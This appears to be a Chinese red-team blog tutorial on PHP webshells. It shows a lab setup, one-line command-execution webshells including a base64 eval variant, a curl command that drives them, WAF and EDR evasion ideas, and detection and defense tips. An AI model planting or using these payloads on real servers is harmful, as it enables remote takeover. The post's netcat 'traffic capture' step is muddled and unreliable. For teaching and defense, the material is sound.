0x01 Webshell：攻击者的魔法法杖

Webshell是什么鬼？

Webshell，简而言之，就是一种能够让攻击者通过Web服务器执行命令的脚本。它是攻击者用来远程控制和管理受感染服务器的工具。Webshell通常由PHP、ASP、JSP或其他服务器支持的脚本语言编写。攻击者可以通过它在服务器上执行任意代码、操控文件系统、下载数据，甚至发起进一步攻击。

为什么Webshell如此恐怖？ 因为它们很难被检测到。许多Webshell看上去与正常的Web代码没有什么不同，有时候通过简单的编码变换就可以绕过基本的安全检测机制。这就是攻击者对Webshell情有独钟的原因之一。

攻击原理：神奇的漏洞成因

Webshell的“魔力”往往来源于脆弱的Web应用程序本身。常见的攻击途径包括：

  • 文件上传漏洞：许多Web应用允许用户上传文件，而没有对上传文件的类型和内容进行严格检查。攻击者可以借此上传Webshell脚本。
  • 代码注入漏洞：例如在SQL注入或命令注入攻击成功时，攻击者可以执行恶意代码，将Webshell植入目标系统。
  • 不安全的配置：例如配置错误的Web服务器允许目录遍历，从而允许攻击者访问不应该能访问的文件。

0x02 实战环境搭建：快速上手

准备战场：虚拟机和工具

在开始实战之前，我们需要搭建一个安全的实验环境来测试Webshell技术。这里我们使用VirtualBox创建一个Ubuntu服务器作为目标机器，并安装Apache Web服务器以及PHP。

必备工具：

  • VirtualBox或VMware
  • Ubuntu Server 20.04虚拟机
  • Apache + PHP
  • Kali Linux（作为攻击机）
  • netcat（经典工具）

环境搭建步骤

黑客示意图

  1. 安装Ubuntu Server：在VirtualBox中创建新的虚拟机，安装Ubuntu Server 20.04系统。
  1. 安装Apache和PHP：

    2. <pre><code class="language-shell"> sudo apt update sudo apt install apache2 php libapache2-mod-php -y `

  1. 配置Web目录：默认情况下，Apache的Web目录为/var/www/html。我们可以在这里放置一个简单的PHP文件以供测试上传。
  1. 开启服务并测试：

    2. `shell sudo systemctl start apache2 sudo systemctl enable apache2 echo &quot;&lt;?php phpinfo(); ?&gt;&quot; &gt; /var/www/html/info.php `

  1. 测试访问：在浏览器中访问http://your-vm-ip/info.php，检查是否能看到PHP信息页面。

0x03 Payload构造的艺术：玩弄Webshell

Webshell的基本构造

在这里，我们提供一个最简单的PHP Webshell示范：</code></pre>php <?php system($_GET['cmd']); ?> <pre><code>这个代码接受用户通过URL参数传递的命令并执行。攻击者可以通过http://your-vm-ip/shell.php?cmd=ls这样的URL来执行命令。

进阶版：小心翼翼的免杀

攻击者通常不会直接使用简单的Webshell，因为它们很容易被检测到。通过混淆代码和加密payload，可以增强隐藏性。下面是一个混淆后的Webshell示例：</code></pre>php <?php @eval(base64_decode($_POST['payload'])); ?> <pre><code>在这个例子中，攻击者可以通过POST请求将编码后的payload传递给Webshell，并在服务器端解码并执行。

构造免杀Webshell的技巧

  • 代码混淆：通过将代码转换为不可读的形式，使得分析变得困难。
  • 编码与加密：使用base64或其他编码形式隐藏真实的有效载荷。
  • 动态生成：通过随机生成变量名和函数名，使得每个Webshell看上去都不同。

0x04 流量捕获实战：眼见为实

黑客示意图

捕获流量

为了验证Webshell的工作情况，我们可以在攻击机上使用netcat监听流量：</code></pre>shell nc -lvnp 1234 <pre><code>然后在目标服务器上执行命令：</code></pre>shell curl -X POST http://your-vm-ip/shell.php -d "payload=$(echo 'system(\"whoami\");' | base64)" `

分析流量

通过分析捕获到的流量，我们可以看到攻击者如何利用Webshell发送和执行命令。这个过程不仅仅是验证攻击效果，也是学习攻击者如何伪装他们的流量。

0x05 绕过与对抗技巧：猫捉老鼠游戏

绕过安全检测

攻击者通常面临的挑战是如何绕过Web应用防火墙（WAF）及各种检测机制。以下是一些常见的绕过技巧：

黑客示意图

  • 多层编码：使用多层编码（如base64、hex）来隐藏Webshell代码。
  • 协议伪装：通过使用不常见的HTTP方法或将流量伪装为无害请求。
  • 内容投毒：在正常内容中掺杂Webshell代码，使其看起来像合法流量。

对抗EDR/AV

攻击者在免杀中往往需要对抗端点检测和响应（EDR）以及杀毒软件（AV）。常见方法包括：

  • 内存加载：通过反射调用，将Webshell代码直接在内存中执行，避免文件落地。
  • 动态分析躲避：使用时间延迟、环境检查等方法躲避动态分析。

0x06 检测与防御：反制手段

检测Webshell

尽管Webshell难以检测，安全人员仍可以通过以下手段提高检测能力：

  • 文件完整性监测：监测Web目录中文件的变化，尤其是新增或修改的文件。
  • 流量分析：使用流量监控工具，检测异常流量模式。
  • 日志分析：分析Web服务器日志，寻找可疑的访问模式和命令执行行为。

防御策略

为了防止Webshell攻击，可以采取以下防御措施：

  • 严格的文件上传限制：限制上传文件类型，并使用安全库检查文件内容。
  • 应用层防火墙：配置WAF以检测并阻止恶意请求。
  • 代码安全审计：定期对应用代码进行安全审计，修复已知漏洞。

0x07 个人经验分享：攻防之间的博弈

从攻击者到防御者

作为一名红队人员，我曾亲历过许多成功的Webshell攻击案例。这种攻击技术简单而有效，对安全防护系统的考验极大。然而，随着技术的发展，如今的检测手段也越来越强。对于攻击者来说，制定更隐蔽的策略是关键；而对于防御者来说，及时更新检测和防护机制亦不可或缺。

不断学习，不断进步

攻击技术和防护策略都是不断演进的技术领域。成功的红队人员不仅仅依赖经验，更依赖于持续不断的学习和测试。通过不断探索新的技术和策略，我们才能够在这场不断变化的攻防博弈中保持领先。

本文仅限授权安全测试，供安全研究人员学习，未经授权的攻击行为是非法的。

黑客示意图